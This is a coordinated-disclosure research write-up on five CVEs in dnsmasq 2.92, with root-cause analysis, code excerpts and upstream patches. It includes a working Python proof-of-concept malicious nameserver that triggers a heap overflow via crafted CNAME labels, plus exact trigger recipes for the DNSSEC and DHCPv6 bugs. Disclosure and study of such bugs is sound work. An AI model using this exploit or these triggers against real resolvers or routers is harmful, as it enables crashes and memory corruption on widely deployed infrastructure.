2026-05-11 - research
Five CVEs in dnsmasq 2.92
strcpy() writes 2032 bytes into a 1025-byte buffer. The first 1025 land in bigname.name; the rest land on whatever lives next.dnsmasq is the default DNS forwarder and DHCP server in NetworkManager, libvirt, Docker, OpenWrt, Android, and most consumer routers. This writeup describes five vulnerabilities identified in version 2.92, all fixed in 2.92rel2. The most severe is a pre-authentication remote heap buffer overflow reachable from a single DNS response.
Coordinated disclosure was handled through VU#471747; Simon Kelley's announcement appears on the dnsmasq-discuss mailing list. xchglabs received CVE attribution for five of the six issues filed: CVE-2026-2291, 4890, 4891, 4892, and 4893.
Self-contained reproduction harnesses for the two high-severity bugs (CVE-2026-2291 and CVE-2026-4892) are published at github.com/xchglabs/dnsmasq_2.92_pocs.
Summary
| CVE | Class | Reach | Component |
|---|---|---|---|
| CVE-2026-2291 | Heap buffer overflow | Pre-auth, remote | DNS cache insertion |
| CVE-2026-4890 | Infinite loop | Pre-auth, remote | DNSSEC NSEC/NSEC3 |
| CVE-2026-4891 | Integer underflow -> OOB read | Pre-auth, remote | DNSSEC RRSIG |
| CVE-2026-4892 | Heap buffer overflow | Pre-auth, LAN | DHCPv6 helper (root) |
| CVE-2026-4893 | Validation bypass | Off-path | EDNS Client Subnet |
CVE-2026-2291 -- pre-authentication remote heap buffer overflow
A crafted DNS response causes cache_insert() to write 2032 bytes into a 1025-byte heap buffer (union bigname.name). The attacker controls every byte of the overwrite. Triggering requires only that dnsmasq follow a CNAME chain pointing at an attacker-controlled authoritative server, which is the default forwarding behaviour. DNSSEC is not required.
Root cause
The DNS name parser extract_name() in rfc1035.c escapes three byte values in domain labels -- 0x00, 0x2e (.), and 0x01 (the escape character itself) -- by writing two output bytes per input byte. Its length counter, namelen, tracks the raw input length and is compared against MAXDNAME (1025) before each label. The escaped output length is not tracked.
The extraction destination, daemon->namebuff, is sized at MAXDNAME * 2 + 1 = 2051 bytes, so extract_name() cannot overflow its own buffer. The overflow occurs at the next stage. cache_insert() commits the escaped name to a freshly allocated cache slot using strcpy():
// cache.c:760, inside really_insert()
if (name)
strcpy(cache_get_name(new), name);
The destination, union bigname.name, is dimensioned at MAXDNAME (1025 bytes) in 2.92. The escaped form produced by extract_name() is up to 2 * MAXDNAME = 2050 bytes. The mismatch between the parser's worst-case output and the cache slot is the vulnerability. ASAN reports the heap region as 1032 bytes because sizeof(union bigname) aligns the 1025-byte name array up to the size of the freelist next pointer; the addressable destination remains MAXDNAME.
Trigger
Sixteen labels of 63 null bytes each are written into the CNAME's RDATA in raw label form (no inner compression). The raw size is 16 x (1 + 63) + 1 = 1025 bytes, exactly meeting the parser's MAXDNAME bound. The escaped output is 16 x (63 x 2) + 16 = 2032 bytes once each null is expanded to two output bytes and a separator is written between labels. A second answer RR -- an A record whose owner field is a 2-byte compression pointer into the CNAME's RDATA -- re-enters the same crafted name through extract_name() and forces extract_addresses() to commit it to the cache.
- Victim resolves
query.attacker.tld. - Authoritative server returns two answers:
query.attacker.tld CNAME <crafted>and<crafted> A 1.2.3.4, with the A record's owner stored as a compression pointer into the CNAME RDATA. extract_name()walks the pointer, escapes<crafted>intodaemon->namebuff(2051 bytes; fits).cache_insert()callsstrcpy()into the 1025-byte cache slot (overflow).
Proof of concept
The PoC is a minimal authoritative nameserver that returns the trigger response to every query. It binds to 127.0.0.1:5354; dnsmasq is launched with that as an upstream and a single dig request fires the overflow. The full harness is at github.com/xchglabs/dnsmasq_2.92_pocs/cve-2026-2291.
#!/usr/bin/env python3
# evil_ns.py -- authoritative nameserver for CVE-2026-2291
import socket, struct
LISTEN = ("127.0.0.1", 5354)
NULL_LABEL = b"\x3f" + (b"\x00" * 63) # length byte 63 + 63 NUL bytes
CRAFTED_NAME = (NULL_LABEL * 16) + b"\x00" # 16 labels + root terminator
assert len(CRAFTED_NAME) == 1025
def parse_qname(buf, off):
while True:
l = buf[off]
if l == 0: return off + 1
if (l & 0xc0) == 0xc0: return off + 2
off += 1 + l
def build_response(req):
qid = req[:2]
flags = struct.pack(">H", 0x8180) # QR=1 RD=1 RA=1
header = qid + flags + struct.pack(">HHHH", 1, 2, 0, 0)
qend = parse_qname(req, 12)
question = req[12:qend + 4]
# CNAME: owner = qname (compression pointer), RDATA = crafted name
cname_rr = b"\xc0\x0c" + struct.pack(">HHIH", 5, 1, 60, len(CRAFTED_NAME)) + CRAFTED_NAME
# A record: owner = pointer to the CNAME RDATA
rdata_offset = len(header) + len(question) + 2 + 10
a_owner = bytes([0xc0 | (rdata_offset >> 8), rdata_offset & 0xff])
a_rr = a_owner + struct.pack(">HHIH", 1, 1, 60, 4) + socket.inet_aton("1.2.3.4")
return header + question + cname_rr + a_rr
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(LISTEN)
while True:
req, addr = s.recvfrom(4096)
if len(req) < 13: continue
s.sendto(build_response(req), addr)
With dnsmasq built using -fsanitize=address and pointed at 127.0.0.1:5354, a single dig against it produces:
==999402==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x519000002288
WRITE of size 2032 at 0x519000002288 thread T0
#0 strcpy asan_interceptors.cpp:563
#1 really_insert cache.c:760
#2 cache_insert cache.c:626
#3 extract_addresses rfc1035.c:1036
#4 process_reply forward.c:824
#5 return_reply forward.c:1426
#6 reply_query forward.c:1298
#7 check_dns_listeners dnsmasq.c:1905
#8 main dnsmasq.c:1297
0x519000002288 is located 0 bytes after 1032-byte region [0x519000001e80,0x519000002288)
allocated by thread T0 here:
#0 calloc asan_malloc_linux.cpp:77
#1 whine_malloc util.c:346
#2 really_insert cache.c:731 // allocates the bigname slot
Upstream fix
--- a/src/dnsmasq.h
+++ b/src/dnsmasq.h
union bigname {
- char name[MAXDNAME];
+ char name[(2*MAXDNAME) + 1];
union bigname *next; /* freelist */
};
The destination buffer is enlarged to match the parser's worst-case output. No input-side validation is added; the parser's MAXDNAME bound was correct for its own buffer, and the cache copy is reframed as a sibling of the same size class.
CVE-2026-4890 -- DNSSEC NSEC/NSEC3 type-bitmap infinite loop
DNSSEC NSEC and NSEC3 records encode their type bitmap as a sequence of windows. Each window begins with a 2-byte header (window number, bitmap length) followed by the bitmap data. The NSEC and NSEC3 typemap walkers in dnssec.c advance to the next window using only the bitmap length, omitting the 2-byte header:
// dnssec.c:1347-1348 (NSEC walker, prove_non_existence_nsec)
// -- should advance by p[1] + 2
rdlen -= p[1];
p += p[1];
The same pattern is duplicated in the NSEC3 walker at dnssec.c:1511-1512. A crafted record with bitmap_length = 0 produces an iteration in which neither rdlen nor p changes; the surrounding bounds check (rdlen < 2 || rdlen < p[1] + 2) is satisfied by any rdlen >= 2 when p[1] = 0, so the loop body re-executes against the same window forever. One CPU saturates and the daemon stops responding to all DNS queries.
The defect is reachable before RRSIG signature verification; the source comment at dnssec.c:2125 notes "we may not yet have validated the NSEC/NSEC3 RRsets". The attacker therefore does not need a valid signature, only an RRSIG record and a corresponding NSEC in the authority section.
CVE-2026-4891 -- RRSIG signature length underflow
// dnssec.c:506 -- signer's name bounded by plen, not rdlen
if (!extract_name(header, plen, &p, keyname, EXTR_NAME_EXTRACT, 0))
return STAT_BOGUS;
// dnssec.c:551 -- sig_len then computed from rdlen
sig_len = rdlen - (p - psav);
Inside validate_rrset() the signer's name is bounds-checked against plen (total packet length) rather than rdlen (RRSIG RDATA length). The 18 bytes of fixed RRSIG header have already been consumed at line 551, so the residual is intended to represent the signature itself. With rdlen = 18 (the minimum, as the source comment at line 495 notes is the only earlier check) and a signer's name encoded as a 2-byte compression pointer pointing somewhere else in the packet, p - psav = 20 and sig_len = -2. The negative int is implicitly converted to size_t when passed to mpz_import(), and GMP attempts to read 2^64 - 2 bytes.
The practical result is a deterministic crash. As with CVE-2026-4890, the trigger does not require valid DNSSEC keying -- the parse runs before signature verification.
CVE-2026-4892 -- DHCPv6 CLID heap overflow in root helper
DHCPv6 Client Identifier options carry a 16-bit length field, permitting values up to 65535 bytes. When --dhcp-script is configured, the dnsmasq helper process hex-encodes the CLID into daemon->packet in preparation for the script's environment:
// helper.c:265-270
for (p = daemon->packet, i = 0; i < data.clid_len; i++)
{
p += sprintf(p, "%.2x", buf[i]);
if (i != data.clid_len - 1)
p += sprintf(p, ":");
}
daemon->packet is sized at edns_pktsz + MAXDNAME + RRFIXEDSZ -- 2267 bytes at the default EDNS_PKTSZ of 1232. Each input byte produces three output characters (two hex digits and a separator), so the destination is overrun once clid_len > ~756; a maximum-length CLID (65535 bytes) writes roughly 196 KB past the end.
The helper process retains root privileges after the main dnsmasq process drops them, because it needs the elevated privileges to exec the DHCP script. The CLID hex-encoding occurs during environment-variable preparation, before any script is invoked; a placeholder or missing script does not prevent the bug.
A separate length bound exists in log6_packet(), which truncates CLID values to 100 bytes for logging. The helper path was missed.
Trigger: a DHCPv6 Solicit / Advertise / Request exchange in which the client's CLIENT_ID option is sized at 4 KB or more. On loopback, with a single ULA address added to lo, the full handshake fits in a self-contained Python client. The full harness is at github.com/xchglabs/dnsmasq_2.92_pocs/cve-2026-4892.
Upstream fix is a one-line cap matching the existing log6_packet truncation:
- for (p = daemon->packet, i = 0; i < data.clid_len; i++)
+ for (p = daemon->packet, i = 0; i < data.clid_len && i < 100; i++)
CVE-2026-4893 -- EDNS Client Subnet validation bypass
When --add-subnet is configured, dnsmasq is expected to verify that upstream responses include an EDNS Client Subnet option matching the request, per RFC 7871 sec. 9.2. At forward.c:722, find_pseudoheader() writes the OPT record length (typically ~23 bytes for an ECS-bearing OPT) into the local plen. That same plen is then forwarded to check_source() at forward.c:727, in place of the total packet length:
// forward.c:722
if ((pheader = find_pseudoheader(header, n, &plen, &sizep, &is_sign, NULL)))
{
// ...
// forward.c:727 -- plen here is the OPT record length, not the packet length
if (option_bool(OPT_CLIENT_SUBNET) && !check_source(header, plen, pheader, query_source))
Inside check_source() at edns0.c:445, every CHECK_LEN and skip_name call uses that truncated plen. The first such check at edns0.c:458 fails for any non-trivial packet, and the function returns 1 (accept). The cross-check is dead code.
Operators relying on dnsmasq's RFC 7871 verification were not receiving it. Impact is limited -- the check defends against off-path ECS spoofing -- but its silent absence had been undocumented.
Additional findings
The following items were reported alongside the CVEs above. The maintainer assessed each as defense-in-depth rather than independently exploitable, and no CVE identifiers were assigned. They are noted here for completeness.
| Class | Location |
|---|---|
| BOOTP filename off-by-one null termination | rfc2131.c |
TFTP path-traversal bypass for trailing /.. (the existing strstr only catches embedded /../) | tftp.c:548 |
from_wire() stale pointer during DNSSEC name reconstruction | rrfilter.c:426 |
skip_name() OOB read on the 0x40 bitstring label type | rfc1035.c:317 |
Methodology
Initial reconnaissance used in-house tooling on a compiled dnsmasq 2.92 binary from a stock Ubuntu installation. Source review was performed against the upstream tarball from thekelleys.org.uk. Four reviewers worked the codebase in parallel, partitioned by component: DNSSEC validation, DNS parsing and caching, DHCP and DHCPv6, and TFTP.
CVE-2026-2291 was identified by tracing the length accounting of extract_name() through to the cache copy and noting the buffer-size mismatch between source and destination. The bug spans two source files (rfc1035.c and cache.c) and depends on understanding the protocol-level invariant the parser is enforcing, which is one reason it survives most automated audits. AddressSanitizer confirmed the overflow within thirty seconds of PoC delivery. The DHCPv6 helper bug required a full handshake before the vulnerable code path executes; the test harness is a self-contained Python client.
Acknowledgements
Thanks to Simon Kelley for prompt and principled upstream handling of all five issues, and to Andrew Fasano of the CAISI team at NIST for coordination assistance during the disclosure process.